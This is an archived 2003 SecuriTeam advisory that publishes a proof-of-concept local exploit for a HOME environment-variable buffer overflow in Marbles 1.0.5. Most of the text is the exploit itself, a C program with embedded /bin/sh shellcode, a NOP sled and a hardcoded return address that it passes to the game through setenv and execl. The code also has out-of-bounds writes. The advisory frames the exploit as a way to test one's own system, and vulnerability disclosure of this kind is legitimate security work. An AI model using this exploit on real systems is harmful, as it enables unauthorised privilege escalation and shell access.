[EXPL] Marbles HOME Environment Overflow Exploit Code

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/03

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Date: 29 Sep 2003 12:14:55 +0200

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      Marbles HOME Environment Overflow Exploit Code
    ------------------------------------------------------------------------

    SUMMARY

    Steve Kemp discovered a buffer overflow in marbles, when processing the
    HOME environment variable. This vulnerability could be exploited by a
    local user to gain gid 'games'. The following exploit can be used to test
    your system for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * Marbles version 1.0.5

    Exploit:
    /* c-marbles.c
     *
     * PoC exploit made for advisory based upon an local stack based overflow.
     * Vulnerable versions, maybe also prior versions:
     *
     * Marbles v1.0.5
     *
     * Tested on: RedHat 9.0
     *
     * Advisory source: Steve Kemp
     * http://www.debian.org/security/2003/dsa-390
     *
     * ---------------------------------------------
     * coded by: demz (c-code.net) (demz@c-code.net)
     * ---------------------------------------------
     *
     */

    #include <stdio.h>
    #include <stdlib.h>

    char shellcode[]=

      "\x31\xc0" // xor eax, eax
            "\x31\xdb" // xor ebx, ebx
            "\x31\xc9" // xor ecx, ecx
            "\xb0\x46" // mov al, 70
            "\xcd\x80" // int 0x80

            "\x31\xc0" // xor eax, eax
            "\x50" // push eax
            "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
            "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
            "\x89\xe3" // mov ebx, esp
            "\x50" // push eax
            "\x53" // push ebx
            "\x89\xe1" // mov ecx, esp
            "\x99" // cdq
            "\xb0\x0b" // mov al, 11
            "\xcd\x80" // int 0x80

            "\x31\xc0" // xor eax, eax
            "\xb0\x01" // mov al, 1
            "\xcd\x80"; // int 0x80

    int main()
    {
      unsigned long ret = 0xbffff70c;

      char buffer[3988];
      int i=0;

      memset(buffer, 0x90, sizeof(buffer));

      for (0; i < strlen(shellcode) - 1;i++)
      buffer[2000 + i] = shellcode[i];

      buffer[3988] = (ret & 0x000000ff);
      buffer[3989] = (ret & 0x0000ff00) >> 8;
      buffer[3990] = (ret & 0x00ff0000) >> 16;
      buffer[3991] = (ret & 0xff000000) >> 24;
      buffer[3992] = 0x0;

      printf("\nMarbles v1.0.5 local exploit\n");
            printf("---------------------------------------- demz @ c-code.net
    --\n");

      setenv("HOME", buffer, 1);

      execl("/usr/local/bin/marbles", "marbles", NULL);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:m00000000000000@hotmail.com>
    demz.

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